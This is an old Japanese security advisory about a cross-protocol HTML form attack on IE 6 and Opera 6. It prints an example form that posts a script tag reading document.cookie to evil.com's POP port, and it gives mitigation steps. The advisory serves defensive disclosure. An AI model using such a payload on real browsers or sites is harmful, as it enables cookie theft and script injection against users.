複数のウェブブラウザがHTMLフォーム攻撃に対して脆弱〜Multiple Web Browsers Contain HTML Form Attack Flaw〜

◆概要：
　悪意のあるスクリプトをブラウザ上で実行するために、HTTPではないプロトコルを実行しているサーバに、HTMLフォームの内容を送信する攻撃に対して、複数のウェブブラウザに脆弱性が存在している。

　攻撃は、ファイルやローカルファイルシステムに保存されているクッキーの内容を表示するなど、CSS（client side scripting）言語が可能なことをすべて実行できるとされている。例えば、下記コードは、拡張HTMLフォームを利用した攻撃を使って、クッキーの内容を表示するHTMLフォームである。

<form name="evil_form" method="post" action=" http://evil.com:110/ "enctype="multipart/form-data">
<textarea name="eostest"> user <script>alert(document.cookie)</script>quit </textarea><input type="submit" value="Submit"></form>

　上記の「action」属性は、フォーム入力が送信される場所を指定している。フォームの入力は、通常は入力を処理するウェブサーバーのCGIスクリプトに送られる。しかし上記の例では、入力がevil.comのPOPメールサーバー（TCPポート110）に送られるようになっている。

　POPなどの非HTTPサービスには、提出された要求の内容をエコーバックするものがある。この場合、ウェブブラウザはエコーされた内容を解釈しようとする。全エラーメッセージはテキストとして解釈されるが、アクティブスクリプト機能が使用可能になっていると、< SCRIPT > < / script >タグ間の内容がJavaScriptとして解釈される。この例では、evil.comドメインのクッキーの内容を示すポップアップウィンドウが表示される。

◆情報ソース：
・Eye On Security
（ http://eyeonsecurity.net/papers/Extended-HTML-Form-Attack-doc.zip ）, Jan.26, 2002
・BugTraq （Obscure, obscure@eyeonsecurity.net ）,
Feb. 06, 2002・iDEFENSE 研究所 Feb. 12, 2002

◆分析：
（iDEFENSE 米国）この攻撃は、ローカルファイルやクッキーの内容を攻撃者に転送するために使用される可能性がある。

　上記の例で JavaScriptが送信されるためには、まず被害者にフォームの「提出」（submit）ボタンをクリックさせる必要があるが、より高度なスクリプト機能を使えば、ページを表示するだけでコードの提出が自動的に実行されるようにすることができる。ハンドル名「Obscure」を使っているある人物が、本件に関するに自動化されたPOC（Proof of Concept）を、http://eyeonsecurity.net/advisories/showMyCookie.html で公開している。

◆検知方法：
　マイクロソフト社のInternet Explorer 6.0およびそれ以前のバージョンおよびOpera Software ASA社のOpera 6.0およびそれ以前のバージョンに脆弱性があると報告されている。

◆リカバリー方法：
　アクティブスクリプト機能を無効にすると、この問題を防止できる。InternetExplorerでアクティブスクリプト機能を無効にするには、次の手順に従う。（翻訳者注釈： IEでのアクティブスクリプト解除手順は英語版と日本語版で違うため、ここでは具体的手順は翻訳せず、原文のまま残しておりますのでご了承願います）

1. Select the menu choice Tools then Internet Options.
2. Select the Security tab.
3. Highlight the Internet zone and click the Custom Level button.
4. Scroll down in the list to the Scripting heading and choose
"Disable" for the Active scripting subheading.
5. Confirm the selection by clicking the OK buttons twice.

OperaでJavaScriptを無効にするには、次の手順に従う。

1. [ファイル] の [初期設定] を選択するか、Alt+Pを押す。
2. [マルチメディア]を選択する。
3. [JavaScript]にある[JavaScriptを有効にする]の選択を解除する。

　ただし、「アクティブスクリプト機能」を無効にすると、この機能に依存しているウェブページが、作成者が意図したように表示されない場合がある。
◆ベンダー情報：
　ベンダーのパッチはこのレポートの作成時点では発表されていない。Obscureによると、マイクロソフト社とオペラソフトウェア社は、この脆弱性について報告を受け、現在パッチの作成を行っているようである。マイクロソフト社は、この問題のパッチをリリースする予定である。また、オペラ社はOperaブラウザの次のリリースに本件に関するパッチを組み込む予定である。

※この情報はアイ・ディフェンス・ジャパン
　（ http://www.idefense.co.jp/ ）より提供いただいております。
　情報の内容は以下の時点におけるものです。
　【17:01 GMT、02、12、2002】

複数のウェブブラウザがHTMLフォーム攻撃に対して脆弱〜Multiple Web Browsers Contain HTML Form Attack Flaw〜

国際アクセスランキング

レッドチーム演習大成功丸五か月間誰も気づけず2024.7.25 Thu 8:15

ランサムウェア集団が謝罪2024.7.23 Tue 8:10

国際手配のランサム犯　逮捕されずに世界中を旅行2024.7.2 Tue 8:10

［まさか本気でそんなに儲かると思った？］サイバー犯罪者さん職種別給与一覧～求人広告２２万件調査2023.2.8 Wed 8:10

Windows 10ではSafeDiscと特定バージョンのSecuROMのDRMシステムを利用した古いゲームがプレイ不可に、セキュリティホールとなる可能性を考慮2015.8.19 Wed 10:00

国連サイバー犯罪条約が「グローバル監視協定」になる危険性2023.9.20 Wed 8:10

資金力で警察に勝るサイバー犯罪集団とインターポールのプロジェクト2022.5.24 Tue 8:10

ウクライナの違法な仮想通貨のマイニング工場を摘発、PS4など3,800台のゲーム機を押収2021.7.13 Tue 8:00

Nimda.E変種ワームが、異なるファイル名を伴って攻撃開始2001.11.1 Thu 12:00

「営利企業でなくボランティアに製造物責任負わす」Python 責任者異議2023.4.18 Tue 8:05